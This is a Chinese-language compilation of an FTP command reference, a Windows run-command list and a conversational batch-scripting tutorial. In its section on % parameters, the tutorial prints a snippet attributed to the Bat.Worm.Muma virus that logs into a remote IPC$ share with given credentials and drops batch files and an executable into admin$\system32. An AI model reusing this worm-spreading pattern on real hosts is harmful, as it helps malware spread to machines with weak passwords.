    4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

    5.ascii:使用ascii类型传输方式。
    6.bell:每个命令执行完毕后计算机响铃一次。

    7.bin:使用二进制文件传输方式。
    8.bye:退出ftp会话过程。

    9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
    10.cd remote-dir:进入远程主机目录。

    11.cdup:进入远程主机目录的父目录。
    12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

    13.close:中断与远程服务器的ftp会话(与open对应)。
    14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

    15.delete remote-file:删除远程主机文件。
    16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

    17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
    18.disconnection:同close。

    19.form format:将文件传输方式设置为format,缺省为file方式。
    20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

    21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
    22.hash:每传输1024字节,显示一个hash符号(#)。

    23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
    24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

    25.image:设置二进制传输方式(同binary)。
    26.lcd[dir]:将本地工作目录切换至dir。

    27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
    28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

    29.mdelete[remote-file]:删除远程主机文件。
    30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。

    31.mget remote-files:传输多个远程文件。
    32.mkdir dir-name:在远程主机中建一目录。

    33.mls remote-file local-file:同nlist,但可指定多个文件名。
    34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

    35.modtime file-name:显示远程主机文件的最后修改时间。
    36.mput local-file:将多个文件传输至远程主机。

    37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
    38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

    39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
    40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

    41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
    42.passive:进入被动传输方式。

    43.prompt:设置多个文件传输时的交互提示。
    44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
    45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
    46.pwd:显示远程主机的当前工作目录。

    47.quit:同bye,退出ftp会话。
    48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.

    49.recv remote-file[local-file]:同get。
    50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

    51.rhelp[cmd-name]:请求获得远程主机的帮助。
    52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

    53.rename[from][to]:更改远程主机文件名。
    54.reset:清除回答队列。

    55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
    56.rmdir dir-name:删除远程主机目录。

    57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
    58.send local-file[remote-file]:同put。

    59.sendport:设置PORT命令的使用。
    60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。

    61.size file-name:显示远程主机文件大小,如:site idle 7200。
    62.status:显示当前ftp状态。

    63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
    64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

    65.system:显示远程主机的操作系统类型。
    66.tenex:将文件传输类型设置为TENEX机的所需的类型。

    67.tick:设置传输时的字节计数器。
    68.trace:设置包跟踪。

    69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
    70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

    71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
    72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

    73.?[cmd]:同help.

    #11 十一:

    7:计算机运行命令全集 winver---------检查Windows版本
    wmimgmt.msc----打开windows管理体系结构
    wupdmgr--------windows更新程序
    winver---------检查Windows版本
    wmimgmt.msc----打开windows管理体系结构
    wupdmgr--------windows更新程序
    wscript--------windows脚本宿主设置
    write----------写字板winmsd-----系统信息
    wiaacmgr-------扫描仪和照相机向导
    winchat--------XP自带局域网聊天
    mem.exe--------显示内存使用情况
    Msconfig.exe---系统配置实用程序
    mplayer2-------简易widnows media player
    mspaint--------画图板
    mstsc----------远程桌面连接
    mplayer2-------媒体播放机
    magnify--------放大镜实用程序
    mmc------------打开控制台
    mobsync--------同步命令
    dxdiag---------检查DirectX信息
    drwtsn32------ 系统医生
    devmgmt.msc--- 设备管理器
    dfrg.msc-------磁盘碎片整理程序
    diskmgmt.msc---磁盘管理实用程序
    dcomcnfg-------打开系统组件服务
    ddeshare-------打开DDE共享设置
    dvdplay--------DVD播放器
    net stop messenger-----停止信使服务
    net start messenger----开始信使服务
    notepad--------打开记事本
    nslookup-------网络管理的工具向导
    ntbackup-------系统备份和还原
    narrator-------屏幕"讲述人"
    ntmsmgr.msc----移动存储管理器
    ntmsoprq.msc---移动存储管理员操作请求
    netstat -an----(TC)命令检查接口
    syncapp--------创建一个公文包
    sysedit--------系统配置编辑器
    sigverif-------文件签名验证程序
    sndrec32-------录音机
    shrpubw--------创建共享文件夹
    secpol.msc-----本地安全策略
    syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
    services.msc---本地服务设置
    Sndvol32-------音量控制程序
    sfc.exe--------系统文件检查器
    sfc /scannow---windows文件保护
    tsshutdn-------60秒倒计时关机命令
    tourstart------xp简介(安装完成后出现的漫游xp程序)
    taskmgr--------任务管理器
    eventvwr-------事件查看器
    eudcedit-------造字程序
    explorer-------打开资源管理器
    packager-------对象包装程序
    perfmon.msc----计算机性能监测程序
    progman--------程序管理器
    regedit.exe----注册表
    rsop.msc-------组策略结果集
    regedt32-------注册表编辑器
    rononce -p ----15秒关机
    regsvr32 /u *.dll----停止dll文件运行
    regsvr32 /u zipfldr.dll------取消ZIP支持
    cmd.exe--------CMD命令提示符
    chkdsk.exe-----Chkdsk磁盘检查
    certmgr.msc----证书管理实用程序
    calc-----------启动计算器
    charmap--------启动字符映射表
    cliconfg-------SQL SERVER 客户端网络实用程序
    Clipbrd--------剪贴板查看器
    conf-----------启动netmeeting
    compmgmt.msc---计算机管理
    cleanmgr-------**整理
    ciadv.msc------索引服务程序
    osk------------打开屏幕键盘
    odbcad32-------ODBC数据源管理器
    oobe/msoobe /a----检查XP是否激活
    lusrmgr.msc----本机用户和组
    logoff---------注销命令
    iexpress-------木马捆绑工具,系统自带
    Nslookup-------IP地址侦测器
    fsmgmt.msc-----共享文件夹管理器
    utilman--------辅助工具管理器
    gpedit.msc-----组策略

    August 30

    批处理教程

    批处理教程
    OK,never claver and get to business(闲话少说言归正传)。批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句“闲话”:要学好批处理,DOS基础一定要牢!当然脑子灵活也是很重要的一方面。
    例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似):
    ping sz.tencent.com > a.txt
    ping sz1.tencent.com >> a.txt
    ping sz2.tencent.com >> a.txt
    ping sz3.tencent.com >> a.txt
    ping sz4.tencent.com >> a.txt
    ping sz5.tencent.com >> a.txt
    ping sz6.tencent.com >> a.txt
    ping sz7.tencent.com >> a.txt
    exit
    是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。
    例二、再给出一个已经过时的例子(a.bat):
    @echo off
    if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
    a.bat
    为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵
    学会批处理!真心想学很容易!
    ------------------------------------------------------------------------------------------------------------------------------------
    例三,使用批处理脚本查是否中冰河。脚本内容如下:
    @echo off
    netstat -a -n > a.txt
    type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
    del a.txt
    pause & exit
    这里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。然这不是确定的,因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合命令&&和管道命令|,后面将详细介绍。
    例四,借批处理自动清除系统^^,脚本如下:
    @echo off
    if exist c:\windows\temp\*.* del c:\windows\temp\*.*
    if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
    if exist c:\windows\History\*.* del c:\windows\History\*.*
    if exist c:\windows\recent\*.* del c:\windows\recent\*.*
    将以上脚本内容保存到autoexec.bat里,每次开机时就把系统^^给自动删除了。这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。
    怎么样,看到这里,你对批处理脚本是不是已经有点兴趣了?是不是发现自己已经慢慢爱上了这个东东?别高兴的太早,爱不是一件简单的事,它也许能带给你快乐和幸福,当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话,I 服了 YOU!继续努力吧,也许到最后你不一定得到真爱(真的有这可能,爱过的人都知道),但你可以体会到整个爱的过程,就是如此。 酸、苦和辣,有没有甜天知道。
    为什么会把批处理和爱情扯上关系?不是我无聊,也不是因为这样写有趣多少,原因有二:其一,批处理和爱情有很多相同的地方,有些地方我用“专业”的行话解释不清(我不怀疑自己的表达能力,而是事情本身就不好说清楚),说了=没说,但用地球人都知道的爱情一比喻(爱情是什么?我**怎么知道!!),没准你心里一下就亮堂了,事半功倍,何乐而不为?其二,我这段时间状态不是很好,感冒发烧头疼鼻塞,但主要还是感情上精神摧残,搞的人烦透了,借写教程之际感慨几句,大家就全当买狗皮膏药了,完全可以省略不看(也许还真有点效果----不至于让你看着看着就睡着了,把头磕了来找我报销医药费)。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。
    看过第一章的朋友,一定对批处理有了初步的印象,知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只有想不到的。这和爱情就有点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单恋。废话!)而批处理却是一个人的天堂,你可以为所欲为,没有达不到的境界!
    批处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得到你想要的结果,也许是一屏幕的Bad command or fail name。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友,相信没有不肯定这句话的。我的爱情批处理,输出的结果不是Bad command or fail name,屏幕是这么显示的:‘你的爱情’不是内部或外部命令,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。
    从这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见DOS命令在批处理脚本中有这广泛的应用,它们是批处理脚本的BODY部分,但批处理比DOS更灵活多样,更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的DOS命令,常用命令如COPY、DIR等就不做介绍了(这些看似简单的命令实际复杂的很,我怕自己都说不清楚!)。
    例五,先看一个实例。这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容:
    @echo off
    ::close echo
    cls
    ::clean screen
    echo This programme is to make the MASM programme automate
    ::display info
    echo Edit by CODERED
    ::display info
    echo Mailto me : qqkiller***@sina.com
    ::display info
    if "%1"=="" goto usage
    ::if input without paramater goto usage
    if "%1"=="/?" goto usage
    ::if paramater is "/?" goto usage
    if "%1"=="help" goto usage
    ::if paramater is "help" goto usage
    pause
    ::pause to see usage
    masm %1.asm
    ::assemble the .asm code
    if errorlevel 1 pause & edit %1.asm
    ::if error pause to see error msg and edit the code
    link %1.obj & %1
    ::else link the .obj file and execute the .exe file
    :usage
    ::set usage
    echo Usage: This BAT file name [asm file name]
    echo Default BAT file name is START.BAT
    ::display usage
    先不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是怎么写的!!)。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容解释的E文(害怕E文的朋友也不用担心,都很easy,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。倒数第5行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码(当然还有这个脚本,废话!)一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下!
    在这个脚本中出现了如下几个命令:@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。
    1、@
    这个符号大家都不陌生,email的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的@echo off中,@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧?还是不太懂?没关系,看完echo命令简介,自然就懂了。
    2、echo
    中文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态(off或on)执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo on命令。在例五中,首行的@命令和echo off命令联合起来,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱!
    echo命令的另一种用法一:可以用它来显示信息!如例五中倒数第二行,Default BAT file name is START.BAT将在脚本执行后的窗口中显示,而echo命令本身不显示(为什么??)。
    echo命令的另一种用法二:可以直接编辑文本文件。例六:
    echo nbtstat -A 192.168.0.1 > a.bat
    echo nbtstat -A 192.168.0.2 >> a.bat
    echo nbtstat -A 192.168.0.3 >> a.bat
    以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个a.bat的文件,直接执行就会得到结果。
    3、::
    这个命令的作用很简单,它是注释命令,在批处理脚本中和rem命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的/*…………*/类似。地球人都能看懂,就不多说了。
    4、pause
    中文为“暂停”的意思(看看你的workman上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是masm程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。
    5、:和goto
    为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是标签名称)。不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五。
    goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如:
    ……
    goto end
    ……
    :end
    这里:end在脚本最后一行!其实这个例子很弱智,后面讲了if命令和组合命令你就知道了。
    6、%
    这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。看看例七:
    net use \\%1\ipc$ %3 /u:"%2"
    copy 11.BAT \\%1\admin$\system32 /y
    copy 13.BAT \\%1\admin$\system32 /y
    copy ipc2.BAT \\%1\admin$\system32 /y
    copy NWZI.EXE \\%1\admin$\system32 /y
    attrib \\%1\admin$\system32\10.bat -r -h -s
    以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。
    关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!
    这一章就写到这里了。可能有朋友问了:怎么没介绍if命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐怕也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。
    烦!就好象一个半老女人到了更年期,什么事都想唠叨几句,什么事都感到不舒服,看谁谁不爽。明知山有虎,偏向虎山行,最后留下一身伤痕无功而返时,才发现自己竟然如此脆弱,如此渺小,如此不堪一击。徘徊在崩溃的边缘,突然回想起了自己最后一次扁人的那一刻,还真有点怀念(其实我很不喜欢扁人,更不喜欢被人扁)。我需要发泄,我用手指拼命的敲打着键盘,在一阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗?中国人还是厉害,早在几千年前孔老夫子就说过“唯女子与小人,难养也”,真**有先见之明,佩服!虽然是在发泄,不过大家请放心,以我的脾气,既然决定写这篇教程,就一定会尽力去写好,写完美,绝对不给自己留下遗憾,要不这教程就不是我写的!
    ----------------------------------------------------------------------------------------------------------
    可以说,批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍,原因我已经说了,因为我也是个菜,我也不太懂----但我正在学!你呢?今天又去了一趟图书馆,淘金一样发现了一本叫《DOS批文件》的东东,藏在一个角落里落满了灰,五本摞一起就跟砖头一样厚了。大概翻了一下,里面介绍了很多比较底层和基础的东西,虽然从思路上讲,已经有点time out了,很多东西已经基本没有利用的价值(这就是信息时代的更新速度),但还是很值得看的。于是打算下午淘过来,放假回去了再好好研究一番,连同那几个不熟悉的命令一起搞熟了,再续写这篇教程。我始终坚信,没有最好只有更好。
    但是很可惜,等到下午再去的时候,图书馆楼梯口已经立了一个牌子,上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章,正在这时又得到一个“振奋人心”的消息:期末考试有一科挂了,而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头,整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门,学校里的人越来越少,迎面过来的几个同学也都一身行李,忙碌着准备回家过年,内心的孤寂和失落如同夏日里暴雨前的乌云,迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆,还能怎么样,连期末考试都应付不了的失败男人。
    “课间休息”时间好象长了点,呵呵,上课了!从这一章开始,将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的,如同爱一个人时不一定非得每天去陪,但如果少了这个过程,事情就会变的复杂而不完美,所以我认为管道命令和组合命令是批处理的调味剂,几乎是少不了的。
    下面从管道命令讲起。常用的管道命令有以下这些:|、>、>>
    11、|
    这个命令恐怕大家不是很陌生,经常操作DOS的朋友都应该知道,当我们查看一个命令的帮助时,如果帮助信息比较长,一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕,而是直接显示到帮助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只能看到最后的那些命令,前面的早就一闪而过了,如何解决这个问题?看例十三:
    help | more
    回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。
    为什么会出现上述现象?答案很简单,这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令,对理解|命令的用法有很大帮助。
    11.1、help命令。其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让DOS显示其所支持的所有非隐含命令,而在其他地方用help命令,如输入net help回车,则是显示net命令的帮助信息。
    11.2、more命令。可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。大家可以找一篇比较长的文章(a.txt)在DOS提示符下输入如下两个命令去比较一下差别:more a.txt和type a.txt。利用more命令,可以达到逐屏或逐行显示输出的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的部分。在例十三里,more命令的作用就是让输出的信息逐屏或逐行显示。
    看到这里,你是否已经能隐约感受到了|命令的作用了?没错,它的作用,就是把前一命令的输出当后一命令的输入来用的。在例十三里,前一命令的输出,就是help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的:
    help > a.txt
    more a.txt
    del a.txt
    这里利用另一管道命令>生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(例十三的所有操作是在内存中进行的,不生成文件)。可以看出,正确使用管道命令|可以带来事半功倍的效果。
    结合例十三和例十四,以及前面的例九再体会一遍:|命令的作用,就是让前一命令的输出当做后一命令的输入。
    12、>、>>
    这两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是,>会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。例十五:
    echo @echo off > a.bat
    echo echo This is a pipeline command example. >> a.bat
    echo echo It is very easy? >> a.bat
    echo echo Believe your self! >> a.bat
    echo pause >> a.bat
    echo exit >> a.bat
    依次在DOS提示符下输入以上各行命令,一行一个回车,将在当前目录下生成一个a.bat文件,里面的内容如下:
    @echo off
    echo This is a pipeline command example.
    echo It is very easy?
    echo Believe your self!
    pause
    exit
    看到这里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。
    13、<、>&、<&
    这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。
    <,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。
    >&,将一个句柄的输出写入到另一个句柄的输入中。
    <&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。
    关于这三个管道命令的举例,在后面批处理脚本的精妙应用中还将涉及到。

    下面介绍组合命令:&、&&、||
    组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了,那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用,就如同给爱人陪不是,说一句是说,说十句也是说,不一次把好话都说了出来,效果可能会好些----当然得排除一种特殊情况:这些话是否有先后顺序,有些话是否可以同时说。在批处理脚本里也一样,有些时候某些命令是不能同时执行的,后面给你说。
    刚刚又送走了一个同学,人去楼空的感觉越来越明显,望着空荡荡的床铺,平日里喧闹的宿舍就只剩下我一个人了,整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败!我感到快要呼吸不过来,这种失败的压力简直令我窒息,简直让我的手接收不到大脑的信号,简直让这篇未完成的教程夭折。但我能怪谁?
    忙碌了一学期要过年了却挂了科,失败;挂了科也倒罢了,竟然一个人拖全班的后退,失败中的失败;更失败的,是在这最失落的时候,竟然找不到一个人可以倾诉;然而最失败的,是突然发现自己竟然如此脆弱,如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题:为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春,风一样的年龄,火一样不安的心。不再爱了,我不要再一个人的时候苦苦等待;不再爱了,我不要在你给的囚笼里怜悯的爱;不再爱了,我不要在别人的视线里如此可笑;不再爱,我不再爱。就算塌下来,我也要一个人扛着,头不能低腰不能弯,不能喘息不能倾诉,因为虽然失败,但还是男人,是男人就不能向困难低头!
    14、&
    这可以说是最简单的一个组合命令了,它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。例十六:
    copy a.txt b.txt /y & del a.txt
    其实这句和move a.txt b.txt的效果是一样的,只不过前者是分了两步来进行的(在后面还将涉及到具体使用哪种方法的问题)。这个命令很简单,就不多费口舌了,唯一需要注意的一点是,这里&两边的命令是有执行顺序的,从前往后执行。

    15、&&
    切记,这里介绍的几个命令都是组合命令,所以他们前后都必须都有其他命令(要不如何组合?)。这个命令也不例外,它可以把它前后两个命令组合起来当一个命令来用,与&命令不同之处在于,它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七:
    dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www
    如果远程主机存在user.mdb,则copy到本地e:\backup\www,如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢?呵呵。其实它和下面这句的作用是一样的:
    if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www
    至于你喜欢用哪个就随便了,我没办法判断dir和if两个命令哪一个执行效率更高,所以不知道用哪个更好,呵呵。
    你是否还记得“有些命令是不能同时执行的”?你是否相信这句话?当然得相信,不信就给你出道题:把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题?有朋友说,这还不是很easy的问题吗?同时执行两个dir,然后把得到的结果>到a.txt里就ok了嘛,看例十八:
    dir c:\ && dir d:\ > a.txt
